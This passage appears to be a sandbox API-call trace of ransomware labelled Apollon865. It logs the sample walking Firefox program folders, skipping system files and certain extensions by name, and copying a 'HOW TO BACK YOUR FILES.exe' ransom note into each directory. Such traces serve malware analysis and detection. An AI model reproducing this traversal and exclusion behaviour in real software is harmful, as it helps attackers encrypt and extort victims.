	[0052.725] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.725] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.725] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x377f3a10, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x377f3a10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.725] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.725] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1efb80, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1efb80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x593e4d80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x69f7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="omni.ja", cAlternateFileName="")) returned 1
	[0052.725] lstrcmpiW (lpString1="omni.ja", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.725] lstrcmpiW (lpString1="omni.ja", lpString2="Apollon865.txt.exe") returned 1
	[0052.725] lstrcmpiW (lpString1="omni.ja", lpString2=".") returned 1
	[0052.725] lstrcmpiW (lpString1="omni.ja", lpString2="..") returned 1
	[0052.725] lstrcmpiW (lpString1="omni.ja", lpString2="windows") returned -1
	[0052.725] lstrcmpiW (lpString1="omni.ja", lpString2="bootmgr") returned 1
	[0052.725] lstrcmpiW (lpString1="omni.ja", lpString2="temp") returned -1
	[0052.725] lstrcmpiW (lpString1="omni.ja", lpString2="pagefile.sys") returned -1
	[0052.725] lstrcmpiW (lpString1="omni.ja", lpString2="boot") returned 1
	[0052.726] lstrcmpiW (lpString1="omni.ja", lpString2="ids.txt") returned 1
	[0052.726] lstrcmpiW (lpString1="omni.ja", lpString2="ntuser.dat") returned 1
	[0052.726] lstrcmpiW (lpString1="omni.ja", lpString2="perflogs") returned -1
	[0052.726] lstrcmpiW (lpString1="omni.ja", lpString2="MSBuild") returned 1
	[0052.726] lstrlenW (lpString="omni.ja") returned 7
	[0052.726] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\webapprt\\*") returned 49
	[0052.726] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="omni.ja" | out: lpString1="omni.ja") returned="omni.ja"
	[0052.726] lstrlenW (lpString="omni.ja") returned 7
	[0052.726] lstrlenW (lpString="Apollon865") returned 10
	[0052.726] lstrlenW (lpString=".dll") returned 4
	[0052.726] lstrcmpiW (lpString1="omni.ja", lpString2=".dll") returned 1
	[0052.726] lstrlenW (lpString=".lnk") returned 4
	[0052.726] lstrcmpiW (lpString1="omni.ja", lpString2=".lnk") returned 1
	[0052.726] lstrlenW (lpString=".ini") returned 4
	[0052.726] lstrcmpiW (lpString1="omni.ja", lpString2=".ini") returned 1
	[0052.726] lstrlenW (lpString=".sys") returned 4
	[0052.726] lstrcmpiW (lpString1="omni.ja", lpString2=".sys") returned 1
	[0052.726] lstrlenW (lpString="omni.ja") returned 7
	[0052.726] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="webapprt.ini" | out: lpString1="webapprt.ini") returned="webapprt.ini"
	[0052.726] lstrlenW (lpString="webapprt.ini") returned 12
	[0052.726] lstrlenW (lpString="Apollon865") returned 10
	[0052.726] lstrcmpiW (lpString1="bapprt.ini", lpString2="Apollon865") returned 1
	[0052.726] lstrlenW (lpString=".dll") returned 4
	[0052.726] lstrcmpiW (lpString1="webapprt.ini", lpString2=".dll") returned 1
	[0052.726] lstrlenW (lpString=".lnk") returned 4
	[0052.726] lstrcmpiW (lpString1="webapprt.ini", lpString2=".lnk") returned 1
	[0052.726] lstrlenW (lpString=".ini") returned 4
	[0052.726] lstrcmpiW (lpString1="webapprt.ini", lpString2=".ini") returned 1
	[0052.726] lstrlenW (lpString=".sys") returned 4
	[0052.726] lstrcmpiW (lpString1="webapprt.ini", lpString2=".sys") returned 1
	[0052.726] lstrlenW (lpString="webapprt.ini") returned 12
	[0052.727] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall") returned="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall"
	[0052.727] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5994c0 | out: hHeap=0x580000) returned 1
	[0052.727] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ac8 | out: hHeap=0x580000) returned 1
	[0052.727] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall") returned 48
	[0052.727] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall") returned="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall"
	[0052.727] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.727] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\uninstall\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.734] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.734] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x37819b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37819b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.734] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.734] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.734] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.734] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaef1c160, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x37819b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37819b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.734] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.734] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.734] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.734] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.734] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x4a579b00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0xd4fa0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="helper.exe", cAlternateFileName="")) returned 1
	[0052.734] lstrcmpiW (lpString1="helper.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.734] lstrcmpiW (lpString1="helper.exe", lpString2="Apollon865.txt.exe") returned 1
	[0052.734] lstrcmpiW (lpString1="helper.exe", lpString2=".") returned 1
	[0052.734] lstrcmpiW (lpString1="helper.exe", lpString2="..") returned 1
	[0052.734] lstrcmpiW (lpString1="helper.exe", lpString2="windows") returned -1
	[0052.735] lstrcmpiW (lpString1="helper.exe", lpString2="bootmgr") returned 1
	[0052.735] lstrcmpiW (lpString1="helper.exe", lpString2="temp") returned -1
	[0052.735] lstrcmpiW (lpString1="helper.exe", lpString2="pagefile.sys") returned -1
	[0052.735] lstrcmpiW (lpString1="helper.exe", lpString2="boot") returned 1
	[0052.735] lstrcmpiW (lpString1="helper.exe", lpString2="ids.txt") returned -1
	[0052.735] lstrcmpiW (lpString1="helper.exe", lpString2="ntuser.dat") returned -1
	[0052.735] lstrcmpiW (lpString1="helper.exe", lpString2="perflogs") returned -1
	[0052.735] lstrcmpiW (lpString1="helper.exe", lpString2="MSBuild") returned -1
	[0052.735] lstrlenW (lpString="helper.exe") returned 10
	[0052.735] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\uninstall\\*") returned 50
	[0052.735] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="helper.exe" | out: lpString1="helper.exe") returned="helper.exe"
	[0052.735] lstrlenW (lpString="helper.exe") returned 10
	[0052.735] lstrlenW (lpString="Apollon865") returned 10
	[0052.735] lstrlenW (lpString=".dll") returned 4
	[0052.735] lstrcmpiW (lpString1="helper.exe", lpString2=".dll") returned 1
	[0052.735] lstrlenW (lpString=".lnk") returned 4
	[0052.735] lstrcmpiW (lpString1="helper.exe", lpString2=".lnk") returned 1
	[0052.735] lstrlenW (lpString=".ini") returned 4
	[0052.735] lstrcmpiW (lpString1="helper.exe", lpString2=".ini") returned 1
	[0052.735] lstrlenW (lpString=".sys") returned 4
	[0052.735] lstrcmpiW (lpString1="helper.exe", lpString2=".sys") returned 1
	[0052.735] lstrlenW (lpString="helper.exe") returned 10
	[0052.735] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="shortcuts_log.ini" | out: lpString1="shortcuts_log.ini") returned="shortcuts_log.ini"
	[0052.735] lstrlenW (lpString="shortcuts_log.ini") returned 17
	[0052.735] lstrlenW (lpString="Apollon865") returned 10
	[0052.735] lstrcmpiW (lpString1="ts_log.ini", lpString2="Apollon865") returned 1
	[0052.735] lstrlenW (lpString=".dll") returned 4
	[0052.735] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2=".dll") returned 1
	[0052.735] lstrlenW (lpString=".lnk") returned 4
	[0052.735] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2=".lnk") returned 1
	[0052.735] lstrlenW (lpString=".ini") returned 4
	[0052.735] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2=".ini") returned 1
	[0052.736] lstrlenW (lpString=".sys") returned 4
	[0052.736] lstrcmpiW (lpString1="shortcuts_log.ini", lpString2=".sys") returned 1
	[0052.736] lstrlenW (lpString="shortcuts_log.ini") returned 17
	[0052.736] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="uninstall.log" | out: lpString1="uninstall.log") returned="uninstall.log"
	[0052.736] lstrlenW (lpString="uninstall.log") returned 13
	[0052.736] lstrlenW (lpString="Apollon865") returned 10
	[0052.736] lstrcmpiW (lpString1="nstall.log", lpString2="Apollon865") returned 1
	[0052.736] lstrlenW (lpString=".dll") returned 4
	[0052.736] lstrcmpiW (lpString1="uninstall.log", lpString2=".dll") returned 1
	[0052.736] lstrlenW (lpString=".lnk") returned 4
	[0052.736] lstrcmpiW (lpString1="uninstall.log", lpString2=".lnk") returned 1
	[0052.736] lstrlenW (lpString=".ini") returned 4
	[0052.736] lstrcmpiW (lpString1="uninstall.log", lpString2=".ini") returned 1
	[0052.736] lstrlenW (lpString=".sys") returned 4
	[0052.736] lstrcmpiW (lpString1="uninstall.log", lpString2=".sys") returned 1
	[0052.736] lstrlenW (lpString="uninstall.log") returned 13
	[0052.736] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries") returned="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries"
	[0052.736] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599450 | out: hHeap=0x580000) returned 1
	[0052.736] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c28 | out: hHeap=0x580000) returned 1
	[0052.736] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries") returned 51
	[0052.736] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries") returned="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries"
	[0052.736] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.736] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.741] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.741] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x37819b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37819b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.741] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.741] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.741] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.741] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x37819b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37819b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.741] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.741] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.741] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.741] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.741] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xf25e6b80, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0xcca, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US.aff", cAlternateFileName="")) returned 1
	[0052.741] lstrcmpiW (lpString1="en-US.aff", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.741] lstrcmpiW (lpString1="en-US.aff", lpString2="Apollon865.txt.exe") returned 1
	[0052.741] lstrcmpiW (lpString1="en-US.aff", lpString2=".") returned 1
	[0052.741] lstrcmpiW (lpString1="en-US.aff", lpString2="..") returned 1
	[0052.741] lstrcmpiW (lpString1="en-US.aff", lpString2="windows") returned -1
	[0052.741] lstrcmpiW (lpString1="en-US.aff", lpString2="bootmgr") returned 1
	[0052.741] lstrcmpiW (lpString1="en-US.aff", lpString2="temp") returned -1
	[0052.741] lstrcmpiW (lpString1="en-US.aff", lpString2="pagefile.sys") returned -1
	[0052.741] lstrcmpiW (lpString1="en-US.aff", lpString2="boot") returned 1
	[0052.741] lstrcmpiW (lpString1="en-US.aff", lpString2="ids.txt") returned -1
	[0052.741] lstrcmpiW (lpString1="en-US.aff", lpString2="ntuser.dat") returned -1
	[0052.742] lstrcmpiW (lpString1="en-US.aff", lpString2="perflogs") returned -1
	[0052.742] lstrcmpiW (lpString1="en-US.aff", lpString2="MSBuild") returned -1
	[0052.742] lstrlenW (lpString="en-US.aff") returned 9
	[0052.742] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*") returned 53
	[0052.742] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="en-US.aff" | out: lpString1="en-US.aff") returned="en-US.aff"
	[0052.742] lstrlenW (lpString="en-US.aff") returned 9
	[0052.742] lstrlenW (lpString="Apollon865") returned 10
	[0052.742] lstrlenW (lpString=".dll") returned 4
	[0052.742] lstrcmpiW (lpString1="en-US.aff", lpString2=".dll") returned 1
	[0052.742] lstrlenW (lpString=".lnk") returned 4
	[0052.742] lstrcmpiW (lpString1="en-US.aff", lpString2=".lnk") returned 1
	[0052.742] lstrlenW (lpString=".ini") returned 4
	[0052.742] lstrcmpiW (lpString1="en-US.aff", lpString2=".ini") returned 1
	[0052.742] lstrlenW (lpString=".sys") returned 4
	[0052.742] lstrcmpiW (lpString1="en-US.aff", lpString2=".sys") returned 1
	[0052.742] lstrlenW (lpString="en-US.aff") returned 9
	[0052.742] lstrcpyW (in: lpString1=0x2d3e5b8, lpString2="en-US.dic" | out: lpString1="en-US.dic") returned="en-US.dic"
	[0052.742] lstrlenW (lpString="en-US.dic") returned 9
	[0052.742] lstrlenW (lpString="Apollon865") returned 10
	[0052.742] lstrlenW (lpString=".dll") returned 4
	[0052.742] lstrcmpiW (lpString1="en-US.dic", lpString2=".dll") returned 1
	[0052.742] lstrlenW (lpString=".lnk") returned 4
	[0052.742] lstrcmpiW (lpString1="en-US.dic", lpString2=".lnk") returned 1
	[0052.742] lstrlenW (lpString=".ini") returned 4
	[0052.742] lstrcmpiW (lpString1="en-US.dic", lpString2=".ini") returned 1
	[0052.742] lstrlenW (lpString=".sys") returned 4
	[0052.742] lstrcmpiW (lpString1="en-US.dic", lpString2=".sys") returned 1
	[0052.742] lstrlenW (lpString="en-US.dic") returned 9
	[0052.742] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\defaults", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\defaults") returned="C:\\Program Files (x86)\\Mozilla Firefox\\defaults"
	[0052.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c5528 | out: hHeap=0x580000) returned 1
	[0052.742] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0052.743] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\defaults") returned 47
	[0052.743] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\defaults" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\defaults") returned="C:\\Program Files (x86)\\Mozilla Firefox\\defaults"
	[0052.743] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.743] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.747] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0052.747] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x37819b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37819b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca310
	[0052.748] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.748] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0052.748] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0052.748] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0x37819b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x37819b70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0052.748] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0052.748] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0052.748] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0052.748] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0052.748] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x37819b70, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x37819b70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0052.748] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0052.748] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pref", cAlternateFileName="")) returned 1
	[0052.748] lstrcmpiW (lpString1="pref", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0052.748] lstrcmpiW (lpString1="pref", lpString2="Apollon865.txt.exe") returned 1
	[0052.748] lstrcmpiW (lpString1="pref", lpString2=".") returned 1
	[0052.748] lstrcmpiW (lpString1="pref", lpString2="..") returned 1
	[0052.748] lstrcmpiW (lpString1="pref", lpString2="windows") returned -1
	[0052.748] lstrcmpiW (lpString1="pref", lpString2="bootmgr") returned 1
	[0052.748] lstrcmpiW (lpString1="pref", lpString2="temp") returned -1
	[0052.748] lstrcmpiW (lpString1="pref", lpString2="pagefile.sys") returned 1
	[0052.748] lstrcmpiW (lpString1="pref", lpString2="boot") returned 1
	[0052.748] lstrcmpiW (lpString1="pref", lpString2="ids.txt") returned 1
	[0052.748] lstrcmpiW (lpString1="pref", lpString2="ntuser.dat") returned 1
	[0052.748] lstrcmpiW (lpString1="pref", lpString2="perflogs") returned 1
	[0052.748] lstrcmpiW (lpString1="pref", lpString2="MSBuild") returned 1
	[0052.748] lstrlenW (lpString="pref") returned 4
	[0052.748] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*") returned 49
	[0052.748] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="pref" | out: lpString1="pref") returned="pref"
	[0052.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0052.748] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x6a) returned 0x59a920
	[0052.748] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x5b7a90
	[0052.748] FindNextFileW (in: hFindFile=0x5ca310, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pref", cAlternateFileName="")) returned 0
	[0052.749] FindClose (in: hFindFile=0x5ca310 | out: hFindFile=0x5ca310) returned 1
	[0052.749] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7ab0
	[0052.749] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref", iMaxLength=260 | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref") returned="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref"
	[0052.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0052.749] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7aa8 | out: hHeap=0x580000) returned 1
	[0052.749] lstrlenW (lpString="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref") returned 52
	[0052.749] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref" | out: lpString1="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref") returned="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref"
	[0052.749] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0052.749] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\pref\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0052.753] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
